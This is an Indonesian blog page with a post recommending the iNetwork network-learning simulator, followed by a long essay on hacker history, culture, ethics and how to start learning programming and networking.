Jumat, 09 Desember 2011

Mudah Belajar Jaringan (Networking) secara Virtual


Tidak banyak diantara pengguna komputer yang mengerti tentang jaringan. Mungkin kalau hanya sekedar sharing folder dan printer, semua pengguna komputer saat ini harus bisa menjawab tantangan ini. Nah untuk belajar yang lebih jauh tentang jaringan, tidaklah sesulit yang dibayangkan. Asal mau buatkan saya kopi, ntar diajarkan deh … Stick out tongue Just Kidding. Banyak solusi yang bisa kita dapatkan untuk maju. Diantaranya bisa mencari referensi dari internet, beli buku di toko buku, tanya sama yang paham, dari majalah, atau ambil kursus paket seperti CCNA. Tentu saja perlu pengorbanan sedikit ya tuk rogoh isi dompet.
Ada satu project pembelajaran yang interaktif dan virtual yang menurut saya sangat bagus bagi kita untuk memahami suatu jaringan. Project ini berupa sebuah aplikasi yang disebut dengan iNetwork. iNetwork merupakan interaktif learning yang mengajarkan pengguna tentang jaringan. Aplikasi ini dikembangkan di University of Technology Sydney (UTS) oleh mahasiswa yang akan menyelesaikan sarjananya, diantaranya Minh Trieu, Joel Baltaks, Melissa Ye, John Ton, Peter Huynh, Peter Luong. Ada yang kenal gak ya …. Big Smile

iNetwork dibuat menggunakan bahasa C# .NET Framework. Cara menggunakannya juga sangat mudah, karena dibuat berbasis GUI. Jadi tinggal pake mouse dan klik–klik pada menu yang ada. Aplikasi ini portable, jadi tidak perlu melakukan instalasi, cukup melakukan ekstrak, kemudian jalankan file iNetwork Simulator.exe
Adapun fitur yang bisa digunakan pada versi ini adalah :
  • User dapat dengan mudah membuat simulasi secara virtual dengan menggunakan perangkat-perangkat jaringan seperti Workstation, Wireless station, Cable, Switche, Router, Domain Name System (DNS) Server, Dynamic Host Configuration Protocol (DHCP) Server, Firewall, Access Points (APs), HTTP Sever dan juga SMTP server.
  • Memudahkan penggunakan untuk mengkonfigurasikan element yang ada, tinggal klik kanan pada network objek, akan muncul pilihan untuk konfigurasi.
  • Mengizinkan kita untuk menyimpan dan menggunakannya kembali.
  • Pengguna dapat menguji dengan menggunakan perintah seperti ping, tracert, route, arp, ipconfig.
  • Memiliki tampilan dan fungsi seperti DOS dan Ethereal untuk melihat fungsi dari virtual network.
Untuk memudahkan kita mempelajari aplikasi ini, sudah disediakan panduan aktivitas labor seperti :
  1. Introduction to the iNetwork Simulator
  2. Static IP Addressing & Subnetting
  3. Dynamic IP Addressing (DHCP)
  4. IP name resolution (DNS)
  5. Static Routing
  6. Dynamic Routing (RIPv1)
  7. Firewall Configuration & Simulation
  8. HTTP Server Simulation
  9. SMTP Server Simulation
  10. Wireless Networks
Wah pasti udah penasarankan untuk mencoba iNetwork ? Sebelum mencoba ada baiknya kita liat preview dari aplikasi ini.
Main Menu (Tampilan Utama)


Menu menambahkan dan menghubungkan perangkat

13 Jenis Perangkat Jaringan

Menu mengkonfigurasikan Device

Mengkonfigurasikan Workstation

Tool Command Prompt untuk menguji jaringan. Perintah yang berlaku hanya ping, tracert, route, arp, dan ipconfig. Jadi jangan mencoba mengetikkan perintah dos yang lain, karena ini hanya virtual.
Tampilan Log aktivitas dari simulasi

Menu menyimpan atau membuka file.

Contoh Jaringan Kabel

Contoh Jaringan Wireless

QUIS

Jadi selain simulasi iNetwork juga menyediakan Quiz untuk menilai hasil belajar kita. Sunggu asikkan ? Tunggu apalagi, ayo buruan di download.
Download "iNetwork Simulator.zip"
http://services.eng.uts.edu.au/~kumbes/capstone/iNetwork/iNetwork.zip
Mirror Download :
iNetwork.zip | iNetwork.zip
Software yang harus dipersiapkan jika ingin menggunakan iNetwork Simulator

Rabu, 07 Desember 2011

Sejarah Hacking


=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                      ALL ABOUTZ HACKING
--====----====----====----====----====----====----====----====----=


"Dan aku menemukan sebuah dunia diluar sana ..."

                                 

Kembali  ke  tahun  1959 ketika semua ini bermula. Tak ada yang bisa
membayangkan  "EAM  room"  pada  Building  26  MIT  saat itu. Sebuah
ruangan  baru  di  MIT,  Massacusetts Institute of Technology tempat
dimana sebuah mesin yang bekerja seperti komputer tertidur pulas.

Saat  itu  tidak  banyak  orang yang dapat membayangkan sebuah mesin
pintar,  sebuah  komputer.  Namun sebuah keberuntungan bagi beberapa
orang  anak  muda  yang  tergabung dalam 'TECH MODEL RAILROAD CLUB',
TMRC.  Saat  gerbang terbuka lebar, dan inilah saatnya untuk HACKING
dan menemukan bagaimana mesin ini bekerja.

Hacker  adalah  sebuah  julukan  bagi  seorang programmer yang mampu
membuat  sebuah  aplikasi  atau  sebuah alogaritma pemecahan masalah
yang  lebih  baik dari pada yang telah dirancang bersama. Lebih luas
dari itu Hacker adalah orang yang bisa mengatasi keterbatasan dengan
cara yang lebih baik dan sederhana -bahkan terkesan unik-.

Seorang  Hacker  memiliki pola pikir yang mantap dalam menyelesaikan
permasalahan-permasalahan  seputar  logika dan analisa. Hal ini yang
banyak  membuat  Hacker  melabelisasi  diri  sebagai seorang 'NERD'.
Prinsip  serupa  yang  dilakukan  sebagai  lompatan  sosial  dimana
kurangnya    penghargaan  masyarakat akan 'jiwa/perilaku' Hacker itu
sendiri.

Seiring  berlalunya  waktu,  makna dari Hacking mulai meluas -bahkan
menyalahi- dari makna yang sebenarnya.

Hacking.    Setiap   maniak   komputer,  'Techno Nerd', 'Hackivist',
'Hacker' punya pengertian tersendiri tentang Hacking.

[1] H3D87 (Penulis)
Hacking  adalah suatu bentuk pola pikir dan teknik pemecahan masalah
yang  lebih  baik  dari  yang  telah dirancang bersama dan terkadang
terkesan unik.

Bagi  saya  Hacking  tidak  hanya tergantung dalam konteks komputer,
software  Hacking,  kernel  Hacking,  hardware  Hacking. Namun dalam
konteks  dunia.  Dunia  adalah  tempat  yang  indah  untuk  Hacking.
Perhatikan dunia, ambil suatu permasalahan dan mulai cari cara untuk
mengatasinya dengan lebih baik.

         'Perhatikan, Pelajari, Kuasai'

                                [H3D87]

[2] R. Kresno Aji
Hacking   adalah  suatu  seni   dalam  memahami  sistem operasi dan
sekaligus  salah satu cara dalam mendalami sistem keamanan jaringan,
sehingga kita bisa menemukan cara yang lebih baik dalam mengamankan
sistem dan jaringan.

(Terima kasih atas inputnya :), H3D87)

[3]y3dips (echo staff)
Hacking adalah bagaimana memberikan"nutrisi"yang lebihkepada otakmu,
bagaimana asyiknya mejalankan semua kemungkinan untuk dapatkepastian
hacking adalah memacu batas-batas kemampuan untuk temukan  kepuasan;
temukan ; temukan dan temukan.
hacking bukan kejahatan; tetapi  seni untuk "hidup"  di dunia  maya

[4] Anda sendiri ...  (temukan)

Sebelum  melangkah  lebih jauh, ada baiknya anda meresapi makna dari
Hacking  dalam  hidup  anda.  Setiap  manusia  punya  pola pikir dan
pemahaman  tersendiri,  sudah  saatnya bagi anda untuk mencari makna
Hacking, sesuai dengan hati nurani anda !!

Jangan  lupa  untuk  mengirimkan  makna Hacking anda kepada saya via
e-mail ke: h3d87@yahoo.com

[SANG HACKER]

Mari mulai melangkah ...

 'I am a Hacker, enter my world.'

       [The Conscience of Hacker, The Mentor]

Hacker  didominasi  oleh pria, dan sebagian besar remaja pria. Cukup
wajar  -saya  rasa-  mengingat  setiap  pria  punya impian dan punya
semangat  untuk mewujudkannya. Hacker secara sosial, memiliki status
sosial  menengah.  Menengah  dalam artian mereka cukup sejahtera dan
bisa  memiliki  komputer  dan  akses internet. Memang internet tidak
bisa  lepas  dari  kehidupan  Hacker.  Di  internet  lah para Hacker
bertemu, berdiskusi dan saling berkelakar.

Secara  psikologi  dan  naluriah  Hacker  memiliki banyak persamaan.
Setiap  Hacker  pada  dasarnya  anti  otoritas. Dimana otoritas yang
sewenang-wenang  akan  membuat  semua  pemikiran  baru  dan  ilmiah
dilecehkan.  Otoritas juga yang membuat sistem dan tatanan kehidupan
begitu  menjemukan.  Kebebasan  itu indah, tapi ingat kebebasan anda
adalah kebebasan orang lain juga. Bersiaplah untuk menarik diri jika
anda mulai merasa cukup egois.

Dalam  kehidupan  sosial  Hacker  biasanya  tidak  memiliki  tempat.
Terlarut  dalam  kehidupan  sosial  akan membuat anda lengah -bahkan
malas-. Kehidupan sosial itu bukannya menjijikkan, hanya saja budaya
mainstream sekarang sangat keras. Saat manajemen mengalahkan teknik.
Setiap  orang berlomba-lomba untuk menciptakan sebuah manajemen yang
ideal,  tanpa  pernah  berpikir  apakah  sistem tersebut cukup ideal
untuk diterapkan secara teknik.

Kehidupan    sosial    juga    banyak    memberi   dampak   negatif.
Rasionalitas   sekarang   telah  luntur.  Setiap  teori  baru  yang
diterapkan dalam kehidupan sosial ditolak dengan sangat skeptik. Dan
yang  paling  jelas,  semakin sorang Hacker terjun kedalam kehidupan
sosial  (non  ilmiah)  mereka  sudah  tidak  punya  waktu lagi untuk
membaca, belajar, dan mengembangkan teorinya.

Namun  hal  ini  jangan  dinilai dengan begitu ekstrim. Bagaimanapun
setiap manusia adalah makhluk sosial. Butuh orang lain 'yang nyata'.
Dan  bukanlah  hal  yang aneh jika seorang Hacker memiliki kehidupan
sosial  yang baik, ikut dalam organisasi sosial masyarakat, memiliki
kekasih dan hidup normal di masyarakat. Hal ini malah sangat baik !

Secara  fisik  Hacker bisa dikenali dengan kegemaran membaca, tampil
eksentrik, dan memiliki pola pikir yang sedikit -bahkan banyak-
menyimpang.

Gemar  membaca  adalah  syarat  utama  untuk menjadi seorang Hacker.
Dunia  bisa dijelajahi melalui buku. Hacker biasanya tertarik dengan
bahasan   berorientasi  teknik,  fiksi  ilmiah  juga  manual-manual
komputer (biasa disebut RTFM, Read The Fuckin' Manual).

Bacaan     fiksi     ilmiah    secara    tidak    langsung    akan
menginspirasikan   kepada   kita  beberapa  hal  baru.  Bacaan fiksi
ilmiah  juga memberikan kita pencerahan kebebasan berfikir. Mulailah
berkhayal,  mimpikan  sesuatu,  pelajari  dan wujudkan! Percaya atau
tidak, tapi sebagian besar penemuan dekade ini merupakan impian pada
dekade-dekade sebelumnya.

Hacker  dan  'nyentrik'  sebenarnya  tidak ada hubungan sama sekali.
Namun  dengan  kebebasan  berfikir  tadi,  setiap  Hacker menerapkan
sebuah  konsep  hidup  dan  gaya  hidup yang unik, yang pasti dengan
'begitu' mereka merasa nyaman.

Kehidupan  Hacker  sewaktu remaja bisa dikatakan cukup sulit. Remaja
saat  ini  masih  belum bisa memahami kehidupan seorang 'geek'. Geek
sebagai   labelisasi  dari  Hacker terkesan 'glow in the dark'. Baik
fisik  maupun  psikologis  mereka  cukup  berbeda  dengan 'anak-anak
populer'  di  sekolah.  Seperti  'Peter  Deutsch' (salah satu Hacker
gelombang  pertama),  'anak'  ini  tidak  memiliki kemampuan apa-apa
dibidang   olah   raga,   namun  'master'  dalam  matematika. Remaja
saat  ini  jauh  lebih  menghargai  penampilah  fisik  dan kemampuan
dilapangan.    Tidak    seharusnya    seseorang   dihargai   karna
'kecantikannya',  karna dia adalah seorang '.....', tapi dalam dunia
Hacker  seseorang  dihargai  dari  apa  yang  dilakukan dan apa yang
dipikirkannya.

Banyak  diantara  Hacker  yang  bosan dengan formalitas dan tuntutan
sosial.  Bahkan  diantara  mereka, mencoba mendobrak tuntutan sosial
tersebut.

Sebagai  contoh, sekolah. Hacker-hacker muda biasanya benci sekolah.
Sekolah  sering  diibaratkan  sebagai  'Makanan Bayi'. Ketika Hacker
tumbuh  dewasa dan rasa ingin tahunya tak terpuaskan dengan sekolah,
mereka   belajar  dari dunia. Belajar dengan mengamati, yang disebut
sebagai  visual  learning.  Sekolah  terkadang  -hampir pasti- tidak
memberikan  jawaban  terhadap  rasa ingin tahu seorang Hacker. Salah
satu alasan mengapa mereka membenci sekolah.

Satu-satunya  cara  untuk mengenal dunia adalah dengan mengamatinya.
Kita  harus  belajar  dari  dunia.  Perhatikan  dunia, cari pola dan
kesamaannya maka kita akan dapat belajar banyak hal.

Sebagai contoh:

Kita  belajar  hukum  kelembaman  di  sekolah.  Dimana  sebuah benda
cenderung  untuk  mempertahankan  posisinya  untuk  tetap  diam atau
bergerak melalui garis lurus.
Coba  kita  hubungkan  dengan  kehidupan.  Anda  pasti  pernah untuk
mencoba  bersantai  sejenak dihari libur. Hari pertama anda habiskan
untuk  bermain Play Station (tidak belajar). Hari ke 2 anda habiskan
untuk   mencoba 8 game terbaru yang anda download beserta crackz nya
(tanpa  belajar).  Begitu juga hari selanjutnya anda habiskan dengan
bermain  tanpa belajar, hingga liburan usai. Dan ketika anda memulai
untuk  kembali  belajar,  anda  akan  mendapat  kesulitan dan bahkan
terkadang  anda  harus memulai dari awal (scratch) lagi. Saat inilah
'kelembaman'  terjadi  pada  diri  anda.  Diri  anda cenderung untuk
mempertahankan posisi untuk tetap bermain dan tanpa anda sadari anda
yang  telah  berada  2  satuan disebelah kanan titik keseimbangan (2
poin kebaikan), ternyata sekarang berada 2 satuan sebelah kiri titik
keseimbangan   (2  poin  keburukan).  Anda  telah bergeser 4 langkah
kebelakang  dari   posisi awal. Maka untuk mencapai nilai yang lebih
tinggi  dari  posisi  awal  tadi,  anda  harus  mengeluarkan  energi
sebesar:

2  (sampai  titik  keseimbangan)  + 2 (posisi awal anda) + n (posisi
yang hendak anda raih).


Semua hal dalam hidup ini saling berhubungan. Pelajarilah !!


"Pelajarilah  semesta  ini.  Jangan  merasa  kecewa jika dunia tidak
mengenal anda, tapi kecewalah jika anda tidak mengenal dunia"

                                          [Kong Fu Tse]




[IDENTIFIKASI HACKER]

Menurut Marc Rogers, Hacker dapat di-identifikasi  atas:

    [1]. Old School Hackers
    Kelompok  tertua  sekaligus  pionir  dari  mitologi  Hacker.
    Mereka  adalah  sekelompok  anak  muda  'Techno  Nerd'  yang
    berasal  dari  MIT  atau  Stanford University. Mereka begitu
    menikmati  pemprograman  dan  analisa  sistem tanpa tertarik
    kepada pengerusakan sistem dan pencurian data.

    [2]. Script Kiddies atau Cyber Punks
    Kelompok ini biasanya lebih muda. Mereka berusia 12-30 tahun
    dan   kebanyakan   masih   berada  dibangku  sekolah.  Bosan
    terhadap  sekolah,  namun  mereka mempunyai pengetahuan yang
    luas  tentang  teknologi.  Mereka mengambil script/eksploits
    lalu  menggunakannya  untuk  menghancurkan  sistem  sebanyak
    mungkin yang dapat dilakukannya.

    [3]. Profesional kriminal atau CRACKERS
    Kelompok   ini  memiliki  kemampuan  komputer  yang  sangat
    tinggi, namun memiliki sifat naluri pengerusakan yang besar.
    Mereka   biasanya  dibayar  oleh  sebuah  perusahaan  untuk
    menjatuhkan lawan bisnisnya.

    [4]. Coder/Virus Writer
    Bakat  alamiah  seorang  programmer.  Mereka mampu melakukan
    Coding  setiap  hari,  serta  menemukan kelemahannya. Mereka
    tertarik dengan sebuah kehidupan artifisial. Membuat sesuatu
    yang   'hidup'  dalam  komputer.  Mencobanya  dalam  sebuah
    laboratorium   virus  komputer  yang  disebut  'ZOO',  lalu
    melepaskannya di dunia liar (baca: Internet)

                                    

[HACKER VS CRACKER]

Di   sisi  lain dunia Hacker. Terdapat pula sekumpulan ahli komputer
bawah  tanah, 'Techno  Junkies',  atau  yang  lebih  dikenal sebagai
CRACKER.

Cracker   adalah  sisi  gelap  dari  Hacker.  Mereka    mengggunakan
kemampuan  mereka  untuk  mendapatkan  akses  ke dalam komputer/data
bank  dan data-data rahasia. Pada dasarnya mereka adalah orang-orang
pintar,  kepandaian  mereka  dalam  ilmu  komputer  menyamai -bahkan
lebih-  dari Hacker, namun sayang ilmu mereka dimanfaatkan untuk hal
yang tidak berguna.

Dari  sini  bisa  kita  tarik  kesimpulan bahwa, ada  jurang pemisah
antara  Hacker  dengan  Cracker.  Keduanya adalah relevan tapi tidak
sama.  Keduanya tetaplah aktifis elektronik, namun berjalan di jalan
yang berbeda.

Bagi Hacker, mereka biasanya sedikit enggan untuk berhubungan dengan
Cracker. Cracker sudah seharusnya keluar dari 'Play Pen' (box tempat
bayi  bermain)  dan  mulai  untuk  menanggapi komputer secara serius
bukan sekedar bermain (baca: bereksperimen)


[PANGGUNG PERHACKINGAN]

Jika   kita   melangkah  lebih  dalam,   mengenal  dan  bukan  hanya
mengetahui,  kita  akan  menemui  sebuah  sub-kultural  dalam  dunia
Hacking.  Secara elektronis, Hacker-Hacker seluruh dunia berhubungan
baik  itu  melalui  IRC,  Messengger  dan E-mail. Dan dalam menjalin
hubungan  yang  baik  antar  sesama Hacker dibentuklah sebuah aturan
main/kode etik.

      [KODE ETIK HACKER]

      [1].  Akses  ke  komputer atau apapun yang dapat mengajari
      anda  bagaimana  dunia  bekerja  haruslah  tidak terbatas.
      Selalu   acungkan   jari   tengah   dalam  setiap  bentuk
      imprelialisme dan pengekangan.

      [2]. Semua informasi haruslah gratis (bebas)

      [3]. Jangan pernah percaya kepada OTORITAS.

      [4].  Hackers  -dan  siapa-pun-  haruslah  dihargai dengan
      kemampuan  Hackingnya,  bukan  dikarenakan bogus kriteria,
      seperti tingkatan, umur, dan posisi.

      [5]. Kita dapat membuat keindahan dengan komputer.

      [6]. Komputer dapat membuat hidup kita menjadi lebih baik.

      [7].  Seperti  lampu  'Aladdin', kita dapat membuat apapun
      berada dalam genggaman.


Setiap Hacker sejati haruslah selalu menjalankan kode etik, walaupun
tidak   ada  keharusan  dalam  menjalankannya.  Namun  dalam  dunia
itelektual,  melanggar  kode  etik  adalah  suatu  hal  yang  sangat
memalukan.  Ingatlah, Hacker memiliki ingatan yang baik, sekali saja
anda melanggar kode etik, maka untuk kembali dan berinteraksi dengan
komunitas dibutuhkan waktu yang sangat lama.

Berkembangnya  komputer  mini  dengan  harga yang semakin terjangkau
membuat komunitas elektronik ini meluas.

Pada  saat itu (1980-han), adalah suatu kebanggaan untuk menggunakan
komputer  bagi  remaja.  Sebagian  dari  mereka  hanya mempergunakan
komputer  untuk  bermain game. Namun sebagian diantara mereka tumbuh
menjadi Hacker sejati melalui seleksi alam.

Saat modem menjadi sebuah kebutuhan, dan BBS (Bulletin Board System)
tersebar  dimana-mana.  Sudah saatnya  untuk mengintip keluar. Dunia
virtual begitu luas. Dan komunitas kembali terbentuk.

Dalam  jangkauan  yang  lebih  luas  lagi  terminologi Hacker 'baru'
terbentuk.  Mereka kebanyakan remaja, memili kemampuan komputer yang
tinggi, dan selalu tertarik untuk mencoba hal-hal baru.

Satu-persatu   komunitas   kecil   terbentuk,  mereka  tidak  hanya
berhubungan  melalui BBS (baca: Mail Box), namun pertemuan-pertemuan
'nyata'  mulai  dilakukan.  Dan  untuk menegaskan eksistensi mereka,
dikenallah   sebuah  Manifesto  atau  lebih  dikenal  sebagai  'THE
CONSCIENCE   OF  HACKER'.  Pertama  sekali  dirilis  dalam  majalah
elektronik  (e-zine)  Phreak-Hack  (PHRACK),  yang ditulis oleh 'The
Mentor'

[THE CONSCIENCE OF HACKER]

   Ini adalah dunia kami sekarang
   Dunia-nya elektron dan switch
   dan keindahan sebuah baud.

   Kami  ada tanpa paham kebangsaan, perbedaan warna kulit, atau
   prasangka keagamaan.

   Anda  memproklamirkan  perang,  membunuh, dan berlaku curang,
   dan  membohongi  kami serta meyakinkan bahwa ini adalah untuk
   kebaikan kami, namun tetap saja kami disebut kriminal.

   Ya ... saya adalah seorang kriminal.

   Kejahatan saya adalah rasa ingin tahu.

   Kejahatan saya adalah LEBIH PINTAR dari  kalian, sesuatu yang
   tidak pernah kalian harapkan.

   Saya adalah seorang HACKER, dan ini adalah MANIFESTO-ku

   Kalian  bisa  menghentikan saya, tapi tidak akan pernah dapat
   menghentikan kami semua. ...



                     [The Mentor, Phrack issue 0x07]


[KOMUNITAS CYBER]

Seperti    halnya   kehidupan   nyata,   masyarakat   cyber   juga
membentuk-komunitas  berdasarkan  mood  dan  persamaan ide. Beberapa
diantaranya  berdasarkan  daerah/region.  Komunitas  Hacker  tumbuh
seirama  dengan  komunitas  cyber lainnya. Sebagai sebuah komunitas,
komunitas  Hacker  terdiri atas 'tetua' beserta anggota-anggota nya.
Kmunitas  Hacker,  biasanya tidak memiliki pemimpin dan tidak begitu
menghargai  pemimpin.  Mereka  percaya  semua  bentuk  'penguasaan'
tidaklah baik. Namun dari pada itu, komunitas Hacker mengenal tetua,
'kepala suku', atau seseorang yang ditinggikan setingkat namun tidak
dianggap pemimpin.

Pada    dasarnya,  tidak  baik  memiliki  penguasa  (jika  pemimpin
diartikan  begitu). Dan Hacker tidak percaya dengan penguasa, dimana
setiap  individu  menjadi  penguasa  atas  dirinya  sendiri.

Dalam komunitas,tidak mungkin kita hidup tanpa peraturan, juga tanpa
pemimpin,  Hacker  juga  menyadari  itu.  Untuk  itulah 'tetua' atau
'kepala  suku',  'elite',  atau  'DEMIGOD'.  Mereka  ditinggikan dan
didengar  pendapatnya  (untuk kemajuan bersama), namun tidak seperti
pemimpin  didunia  nyata,  para  tetua  tidak  sepantasnya dihormati
secara  berlebihan.  Mereka dihargai karena reputasinya, dedikasinya
bukan  karena  ia  adalah seorang tetua.

Hacker  berkumpul  dan berkomunikasi secara elektronis melalui media
Mailing  List, atau diskusi IRC. Namun tidak jarang komunitas Hacker
sejati  dikotori  oleh  para  LAMER  (Istilah untuk orang yang tidak
memiliki kemampuan Hacking, terlalu sombong dan membanggakan dirinya
melalui IRC channel).

Komunitas pada saat sekarang ini sudah sangat buruk. Menurut seorang
rekan dari USA yang saya hubungi mengutarakan "Hacking Scene is just
bunch  of  small penis loosers". Ya, ada benarnya. Jika kita melihat
realita  sekarang ini 'Para Hacker' hanyalah sekelompok anak sekolah
yang  pandai  mengunakan script, tanpa mau tahu bagaimana script itu
bekerja.  Memang  mereka  adalah  bagian  dari komunitas, namun jika
mereka  tidak mau belajar, mereka tidak akan lebih hebat dari 'Small
Penis Loosers'.

Lain   dari   pada   itu,  masih tersisa sekelompok anak muda serius
yang  secara  bertahap  belajar  dan  meningkatkan kemampuan mereka,
hingga  menjadi  Hacker Sejati.

Main  stream dunia hacker itu sekarang telah  jauh  berubah,  mereka
mulai  menghancurkan    infrastruktur  yang   telah  dirintis  oleh
pendahulunya.  Dan  yang  lebih menyedihkan lagi, mereka  itu tidak
mau  belajar  dan  menjadi pintar, sehingga selamanya menjadi orang
bodoh.

Saya yakin anda tidak ingin menjadi seperti itu !!


[INGIN MENJADI HACKER]

Untuk   menjadi  Hacker,  yang  diperlukan  pertama  sekali  adalah
keinginan.  Karena  yang  jadi pertanyaan bukanlah 'Apakah saya akan
menjadi seorang Hacker ?', tetapi 'Apakah saya ingin menjadi seorang
Hacker  ?'.  Jika  anda  telah  memiliki  keinginan, maka anda telah
memiliki  sebuah  modal  dasar  sebagai  pijakan  anda  anda  dalam
melangkah.

Segala  sesuatu pasti dimulai dari impian, dan sudah pasti jika anda
memiliki impian, anda akan mencoba untuk merealisasikannya. Intinya,
sebelum melangkah yakinkan kalau anda telah miliki keinginan.

    [*] Pelajari bahasa pemprograman.

Hal  pertama  yang  harus  anda pelajari adalah bahasa pemprograman.
Saat  ini di dalam distribusi sistem operasi Linux, terdapat beragam
tool-tool berguna yang akan menunjang anda untuk belajar memprogram.

Untuk  mendapatkan  Linux  saat  ini  sudah  sangat mudah, anda bisa
membelinya   secara   online  (www.gudanglinux.or.id),  mendapatkan
Copy-an  CD  nya dari teman. Atau jika anda mempunyai akses internet
yang  baik,  anda  bisa  langsung mendownload distribusi linux situs
resmi-nya, atau melalui www.linuxiso.com.

Menurut  Eric  S.  Raymond, bahasa pemprograman yang baik untuk anda
pelajari pertama sekali adalah 'Python'.

"Desain-nya  bersih, terdokumentasi dengan baik dan cukup mudah bagi
pemula"

                                       [ERIC S. RAYMOND]

[PYTHON]

$ python
Python 2.1.1 (#2, Sep 26 2001, 09:32:53)
[GCC 2.95.3-5 (cygwin special)] on cygwin
Type "copyright", "credits" or "license" for more information.
>>>

>>> print "Hello world \n"
Hello world

>>>

[PYTHON EOF]

Setelah  python,  anda  bisa  melanjutkan dengan 'JAVA'. Java sangat
populer, dikarenakan 'bytecode' hasil kompilasinya bersifat 'Machine
Independent'   yang   tidak  bergantung  kepada  mesin  atau  jenis
prosessor,  namun bergantung kepada 'Runtime Environment-nya'. Namun
dibalik  keunggulannya,  'rakus'  memory adalah salah satu kelemahan
Java.

Pada  akhirnya,  jika  anda  ingin serius terhadap pemprograman, mau
tidak mau anda akan berhadapan dengan C. Bahasa yang digunakan untuk
menulis sistem operasi Unix dan Linux (juga sistem operasi lainnya).

Assembly  juga  bahasa  yang  penting.  Dimana  jika  anda menguasai
assembly  anda  akan  mulai merasakan 'jiwa sebuah mesin'. Anda akan
belajar  memprogram  sesuatu  dari  dasar,  memprogram  tiap bagian,
sehingga anda  akan memahami 'Bagaimana Ia Bekerja !'

Buku  atau  Kursus  saja  tidak  akan  cukup  untuk  menjadikan anda
programmer   yang   handal.   Memprogram  harus  dilakukan  seperti
mempergunakan  bahasa  sehari-hari.  Yang  harus anda lakukan adalah
membaca kode dan menulis kode.

Cobalah  untuk  membaca  kode  (software  opensource)  orang  lain.
Pelajari   pola   pikir   dan teknik pemecahan masalah-nya. Dan coba
temukan cara yang lebih baik.


    [*] Pelajari dan kembangkan salah satu Unix OpenSource.

Mengapa Linux/Unix OpenSource begitu penting ? Ini semua tidak lepas
dari  semangat  OpenSource  itu sediri. Dengan mempelajari kode-kode
yang  dirilis  bebas  dalam  sistem  operasi  OpenSource, kita dapat
mempelajari   pola  pikir  seorang  programmer/Hacker,  kita  dapat
menemukan cara mereka dalam meyelesaikan masalah dan mencoba mencari
metoda  penyelesaian  masalah  yang  lebih baik dari apa yang mereka
lakukan.  OpenSource  juga  membantu  kita  dalam  membangun  sebuah
aplikasi,  sehingga  kita  tidak perlu direpotkan dengan 'research'.
Mereka  telah  melakukan-nya  untuk kita, dan kita bisa memanfaatkan
waktu yang tersisa untuk hal yang lebih spesifik.

  "Saya  bisa  berpandangan  jauh, karena saya berdiri di pundak
  orang-orang jenius terdahulu .. "

                                  [Sir Isaac Newton]



    [*] Pelajari hal-hal baru.

Banyak  hal-hal baru muncul, dan setiap hal (apapun) akan memberikan
kita  pelajaran  berarti  untuk  hidup  dan  hidup  adalah  HACKING.
Hindarilah  untuk  bersikap  skeptis  dan  mulailah untuk berpikiran
terbuka.  Hal-hal  baru -terlebih-lebih yang begitu radikal-, banyak
di   tentang   oleh  sebagian  orang skeptis, namun sebuah pemikiran
terbuka akan memberikan alur yang baik dalam memperolah ilmu.

Ilmu  ada  dimana-mana.  Bahkan  dalam  suatu  yang  dianggap kotor.
Sebagai   contoh,   coba  anda  bandingkan  'kotoran'  sapi  (hewan
herbivora)  dengan  'kotoran'  kucing  (hewan karnivora). Dapat kita
lihat  kalau  kotoran  sapi  'lebih  menggunung'  dari  pada kotoran
kucing,  dan  tidak  terlepas dari itu, secara umum dapat kita tarik
kesimpulan,  bahwa  hewan  herbivora  (pemakan tanaman) lebih banyak
dari  pada  hewan  karnivora  (pemakan daging). Penyebab yang paling
relevan  untuk  hal  ini  adalah  faktor  'makanan'.  Tumbuhan  yang
dikonsumsi  oleh  hewan herbivora (dalam contoh ini sapi) mengandung
'selulose'  atau  serat  lebih  sulit dicerna, sehingga lebih banyak
meninggalkan  zat  sisa.  Hal ini tidak berlaku pada hewan karnivora
(dalam  contoh  ini  kucing).  Daging  lebih mudah dicerna, sehingga
hanya meninggalkan sedikit zat sisa.

Dengan  sedikit  imajinasi  kotor, coba bayangkan hal-hal yang lebih
kotor lagi untuk dianalisa dan diambil pelajarannya.

Dalam  lingkup  komputer,  pelajarilah semua hal-hal baru. Anda bisa
menemukan   banyak   hal   baru   melalui  artikel,  journal,  atau
berita-berita 'nerd' di 'slashdot'.


    [*] Selalu gunakan logika.

Berpikir  dengan  logika  sangat  diperlukan  dalam  Hacking.  Dalam
Hacking anda akan berhadapan dengan berbagai keadaan untuk dianalisa
dan dipecahkan secara logika.

Logika   akan  sangat  membantu  anda  untuk  menghidupkan  kembali
rasionalitas  yang hilang dan berpikir membantu anda untuk hidup dan
tetap hidup.


    [*] Ikuti perkembangan teknologi dan informasi.

Teknologi   Informasi   berkembang   sangat  cepat.  Sebuah  bahasa
pemprograman  yang kita pelajari hari ini bisa cepat berganti dengan
bahasa   atau  visual  programming  baru  yang  lebih  mudah  -baca
memudahkan,  alih-alih  membodohkan-.  Semua  itu  berganti  seiring
berlalunya   waktu   dan  ketika  kita  tersadar  kita  sudah  jauh
ketinggalan.

Ada  baiknya  anda selalu membaca, atau minimal mendapatkan 'digest'
dari  ilmu-ilmu/info  terbaru.  Anda juga bisa mendapatkan informasi
dari Mailing List dan NewsGroup.

Dengan selalu up-to-date, anda akan selalu dekat dengan informasi.


   [*] Ketahui hal-hal yang belum diketahui.

Dalam  apapun  didunia  ini,  kita  harus  bercermin.  Buang  semua
prasangka dan nilai-nilai. Buang anggapan sepihak kalau 'saya adalah
seorang wizard'. Duduklah sejenak dan mulai berpikir.

Apa yang saya ketahui ?
Apa yang belum saya ketahui ?
Inginkah saya mengetahuinya ?

Jika ya ...

Apa yang harus saya lakukan ?

Tentu saja belajar !

Mengapa hal ini begitu sulit ?

Karna anda belum memiliki pegangan yang kokoh !

Apa yang harus saya lakukan ?

Ketahui apa yang belum anda ketahui !!!!


Untuk  dapat  memahami  komputer  anda  akan  menemukan sesuatu yang
saling berhubungan. Untuk memahami satu hal anda harus memahami dulu
beberapa hal yang lain.

Untuk  bisa  memahami  cara  kerja  NMAP  (Os  Fingger  Print,  yang
memanfaatkan  urutan  stack  TCP/IP  sebagai  identifier) anda harus
memahami dulu konsep pemprograman Bahasa C, anda juga harus memahami
'pointer',  dan  konsep  pointer  erat  kaitannya  dengan  'stack',
sebaiknya anda juga memiliki pemahaman stack yang baik !

Anda  juga  akan  disibukkan dengan belajar konsep TCP/IP. Anda juga
harus  tahu  dulu  'dimana  bisa  mendapatkan  info tentang TCP/IP'.
